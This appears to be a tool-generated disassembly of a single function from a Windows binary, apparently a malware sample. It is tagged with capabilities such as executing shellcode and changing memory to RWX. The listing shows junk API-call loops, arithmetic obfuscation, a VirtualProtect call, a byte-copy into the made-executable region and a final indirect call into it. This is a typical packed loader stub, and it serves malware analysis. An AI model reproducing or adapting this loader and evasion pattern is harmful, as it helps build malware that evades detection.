Function at 0x403290
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc88
cmp dword [0x43bb14], 0xac
push ebx
push ebp
push esi
push edi
jne 0x40334e
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.ole32.dll_OleQueryCreateFromData]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea eax, [esp + 0x9c]
push eax
push 0x402bb0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea ecx, [esp + 0x34]
call fcn.0040414f
lea ecx, [esp + 0x34]
call fcn.00404160
call fcn.0040414a
push 0
call fcn.004041e4
push 0
push 0
call fcn.00404364
push 0
push 0
call fcn.004044c9
push 0
call fcn.004041e4
push 0
push 0
call fcn.004041fa
push 0
push 0
call fcn.00404213
push 0
call fcn.004044b2
add esp, 0x2c
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
cmp esi, 0x943a
jge 0x403380
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x9c]
push ecx
call ebx
push 0
call ebp
inc esi
cmp esi, 0x14c90
jl 0x403362
add dword [0x43bb14], 0x11b1b
call fcn.00403270
mov eax, dword [0x43bb14]
mov ecx, dword [0x43ba88]
lea edx, [esp + 0x24]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x43bb14], esi
jbe 0x403413
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov edi, edi
mov edx, dword [0x43d41c]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x43ba88]
mov byte [ecx + esi], al
cmp dword [0x43bb14], 0xa8
jne 0x40340a
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x9c]
push edx
call ebp
inc esi
cmp esi, dword [0x43bb14]
jb 0x4033d0
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x43bb14]
add ecx, eax
cmp ecx, 0xe
jne 0x4034db
push 0
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
call esi
lea eax, [esp + 0x18]
push eax
call edi
call ebx
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea ecx, [esp + 0x898]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402c4c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea ecx, [esp + 0x2c]
push ecx
push 0
lea edx, [esp + 0xa0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4f9409
mov dword [esp + 0x10], eax
jl 0x403431
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
lea esp, [esp]
push 0
push 0
push 0
push 0
call edi
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403500
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edi, edi
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
cmp esi, 0x3b9f9c7
jge 0x40392c
mov dword [esp + 0x68], 0x2b23e75a
mov dword [esp + 0x94], 0x4cde8ddd
mov dword [esp + 0x90], 0x5fd7b9a9
mov dword [esp + 0x4c], 0x36fee2ef
mov dword [esp + 0x40], 0x7ea82ce
mov dword [esp + 0x44], 0x7e9e0a9d
mov dword [esp + 0x74], 0x4e9d61c0
mov dword [esp + 0x6c], 0x35f910ef
mov dword [esp + 0x88], 0x1b1f4c31
mov dword [esp + 0x10], 0x3ac9bbf8
mov dword [esp + 0x20], 0x7a15913f
mov dword [esp + 0x64], 0x62549a1c
mov dword [esp + 0x58], 0x2a24477f
mov dword [esp + 0x78], 0x1201f2d6
mov dword [esp + 0x80], 0x71b2ec6
mov dword [esp + 0x5c], 0x480e8347
mov dword [esp + 0x84], 0x7e45e7b5
mov dword [esp + 0x30], 0x66ee9337
mov dword [esp + 0x7c], 0x37beb127
mov dword [esp + 0x8c], 0x5f430172
mov dword [esp + 0x18], 0x3ef75990
mov dword [esp + 0x70], 0x17d97796
mov dword [esp + 0x48], 0x671b5d09
mov dword [esp + 0x34], 0x12f2d2f6
mov dword [esp + 0x2c], 0x2e853ae6
mov dword [esp + 0x54], 0x52c4b444
mov dword [esp + 0x60], 0x46a518f9
mov dword [esp + 0x50], 0x35125e2b
mov dword [esp + 0x1c], 0x1ad10849
mov dword [esp + 0x14], 0x381ee696
mov dword [esp + 0x28], 0xe11e6c2
add dword [esp + 0x68], 0x733a01c6
sub dword [esp + 0x68], 0x28e1ea4c
sub dword [esp + 0x68], 0x77f8656a
add dword [esp + 0x68], 0x1b0fc675
add dword [esp + 0x68], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x68], 0x65e693b6
add dword [esp + 0x68], 0x21e4e8db
sub dword [esp + 0x68], 0x1f11c09d
add dword [esp + 0x68], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x68], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x32e9610c
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x68], 0x1af62962
sub dword [esp + 0x90], 0x59def22
sub dword [esp + 0x68], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x94], 0x42b3cadb
add dword [esp + 0x74], 0x4aa37306
add dword [esp + 0x40], 0x56582517
sub dword [esp + 0x68], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x40], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x40], 0x2375764f
add dword [esp + 0x74], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x6f46e2ce
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x6e95728b
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x45b8ee68
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x4c], 0x61944033
sub dword [esp + 0x74], 0x14d29531
add dword [esp + 0x74], 0x45e7e617
add dword [esp + 0x6c], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x74], 0x5f1fe643
sub dword [esp + 0x78], 0x7327cae6
add dword [esp + 0x5c], 0x162a0206
add dword [esp + 0x10], 0x23b42ea1
add dword [esp + 0x30], 0x3b768056
sub dword [esp + 0x30], 0xf6d96df
sub dword [esp + 0x4c], 0x259fb309
add dword [esp + 0x44], 0x2f9e05b4
add dword [esp + 0x4c], 0x61dc3320
add dword [esp + 0x20], 0x799a2ec5
add dword [esp + 0x74], 0x893cbaa
add dword [esp + 0x78], 0x15ff780
sub dword [esp + 0x78], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x13340774
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x45badb7d
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x84], 0x3ddb5118
sub dword [esp + 0x94], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
sub dword [esp + 0x20], 0x4446398f
add dword [esp + 0x30], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x410a050d
sub dword [esp + 0x70], 0x2588952e
add dword [esp + 0x78], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x1856fc37
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x14c6a33a
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x451f6ebe
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
mov eax, 0x45dccc0a
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x74f05f91
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x63b4dc15
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x58], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x403941
inc esi
cmp esi, 0x19be898c
jl 0x403530
call fcn.00403110
call fcn.00403250
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebp, dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov dword [esp + 0x10], 0x7b
jmp 0x403970
cmp dword [0x43bb14], 0x86
jne 0x4039c5
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call edi
push 0
push 0
call ebx
lea ecx, [esp + 0x34]
push ecx
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
sub dword [esp + 0x10], 1
jne 0x403970
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ebp, 0x180ef
cmp dword [0x43bb14], 0x1f
jne 0x403a2c
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0xa4]
push eax
push 0
call esi
push 0
lea ecx, [esp + 0x89c]
push ecx
call edi
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
mov dword [esp + 0x4c], 0
call ebx
sub ebp, 1
jne 0x4039e3
call fcn.00402e60
mov eax, dword [0x43ba88]
mov dword [0x43ba8c], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret